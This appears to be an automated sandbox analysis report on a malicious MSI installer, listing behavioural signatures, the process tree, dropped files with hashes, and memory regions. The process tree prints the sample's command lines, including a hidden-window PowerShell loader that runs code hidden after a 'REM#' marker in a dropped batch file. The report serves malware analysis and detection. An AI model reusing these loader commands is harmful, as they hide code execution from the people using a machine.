Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/10/2026, 00:26

General

  • Target
    3574378_7_-setup.msi
  • Size 2.8MB
  • Sample261014-arablsdh72
  • SHA256 dd6f8beb12881c9b79c7d8c7f77cf51e46c8487075c48cdeef15931c83ddeea1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Windows directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\3574378_7_-setup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4168
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5524
      • C:\Windows\system32\cmd.exe
        cmd.exe /c start "" /min /wait cmd.exe /c call "C:\Users\Admin\AppData\Local\fokiwjNN\QDNUDqlZ.bat" "C:\Users\Admin\AppData\Local\Temp\3574378_7_-setup.msi"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3600
        • C:\Windows\System32\cmd.exe
          cmd.exe /c call "C:\Users\Admin\AppData\Local\fokiwjNN\QDNUDqlZ.bat" "C:\Users\Admin\AppData\Local\Temp\3574378_7_-setup.msi"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -nop -w h -c "$q=[char]34; $d='public static class N {[System.Runtime.InteropServices.DllImport('+$q+'kernel32.dll'+$q+')]public static extern System.IntPtr GetConsoleWindow();[System.Runtime.InteropServices.DllImport('+$q+'user32.dll'+$q+')]public static extern System.IntPtr GetAncestor(System.IntPtr h,uint g);[System.Runtime.InteropServices.DllImport('+$q+'user32.dll'+$q+')]public static extern bool ShowWindow(System.IntPtr h,int n);}'; Add-Type -TypeDefinition $d; $c=[N]::GetConsoleWindow(); $r=[N]::GetAncestor($c,2); if($r -eq [IntPtr]::Zero){$r=$c}; [void][N]::ShowWindow($r,7)"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1132
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fdsfgguu\fdsfgguu.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4712
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C75.tmp" "c:\Users\Admin\AppData\Local\Temp\fdsfgguu\CSCFB7BCBBC25F241948678993D6D31289E.TMP"
                6⤵
                  PID:1532
            • C:\Windows\System32\wscript.exe
              wscript //B //nologo "C:\Users\Admin\AppData\Local\Temp\b11789.vbs"
              4⤵
              • Executes a VBScript file via the Windows Script Host.
              • Suspicious use of WriteProcessMemory
              PID:4620
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$r=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\fokiwjNN\QDNUDqlZ.bat');$i=$r.LastIndexOf('REM#');&([scriptblock]::Create($r.Substring($i+4)))"
                5⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3192
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:4232

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e598d43.rbs

            • Path C:\Config.Msi\e598d43.rbs
            • Size 8KB
            • SHA256 6576d297530ffd1419805b67914ba98028d092c5f8ad897d39430c607fe40faf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 fb16fc26d6dea892fc8389bae32d21416cc8c83478c0d3c0b7a9dc389930a34b
            • MD5 SHA1 SHA512 TLSH

            RES9C75.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES9C75.tmp
            • Size 1KB
            • SHA256 340518709fce2e840f15f1590286663e11f77adc865b070fa2ea64feec02a930
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_juw1fmis.p5y.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_juw1fmis.p5y.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            b11789.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\b11789.vbs
            • Size 175B
            • SHA256 a37ecd480b44bf715fc30be4f744e50efe937e62817c15e3a9439417cf7e4dfe
            • MD5 SHA1 SHA512 TLSH

            fdsfgguu.dll

            • Path C:\Users\Admin\AppData\Local\Temp\fdsfgguu\fdsfgguu.dll
            • Size 3KB
            • SHA256 3d92f189144b82cbc8971041f06a53b6688a34fd1c54dfb3cdcaea878c048dca
            • MD5 SHA1 SHA512 TLSH

            QDNUDqlZ.bat

            • Path C:\Users\Admin\AppData\Local\fokiwjNN\QDNUDqlZ.bat
            • Size 79KB
            • SHA256 6488ea5e3503e26276168b2e1079b2ecd84bc2796d2febdf57011452dcdc7b1d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e598d44.msi

            • Path C:\Windows\Installer\e598d44.msi
            • Size 2.8MB
            • SHA256 dd6f8beb12881c9b79c7d8c7f77cf51e46c8487075c48cdeef15931c83ddeea1
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 d8e2fa554772a69cdda04e1ba58cebde752d3a93699b41e82c846eeb3ee95e3a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {de0e24e9-1f8e-4d7b-b2c4-7b657e5dc06b}_OnDiskSnapshotProp

            • Path \??\Volume{e35b4427-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{de0e24e9-1f8e-4d7b-b2c4-7b657e5dc06b}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 b4cd2a179a080d2b2dda9636203cc61440a2e2018b1fc940314fb508fd7cf21b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSCFB7BCBBC25F241948678993D6D31289E.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\fdsfgguu\CSCFB7BCBBC25F241948678993D6D31289E.TMP
            • Size 652B
            • SHA256 4f783bdbe5858de13c4418d6a08174fb24d14dcd64033178abaaa5e7a1edf783
            • MD5 SHA1 SHA512 TLSH

            fdsfgguu.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\fdsfgguu\fdsfgguu.0.cs
            • Size 382B
            • SHA256 42706b4746dc80e36b32b6c85865604af5d31b57467671860ef7722aef4e64c0
            • MD5 SHA1 SHA512 TLSH

            fdsfgguu.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\fdsfgguu\fdsfgguu.cmdline
            • Size 369B
            • SHA256 bb969df148a07bc0cef3fbaae6206ced35c1c6e0147a850ea91871316b2a55dc
            • MD5 SHA1 SHA512 TLSH

            memory/1132-9-0x000001B92CDE0000-0x000001B92CE02000-memory.dmp

            memory/1132-24-0x000001B92CE50000-0x000001B92CE58000-memory.dmp

            memory/3192-43-0x000002674B270000-0x000002674B272000-memory.dmp

            memory/3192-53-0x000002674BAD0000-0x000002674BB4A000-memory.dmp

            memory/3192-58-0x0000000140000000-0x0000000140166000-memory.dmp

            memory/3192-59-0x000002674ADF0000-0x000002674AF1F000-memory.dmp

            memory/3192-41-0x0000000140000000-0x0000000140166000-memory.dmp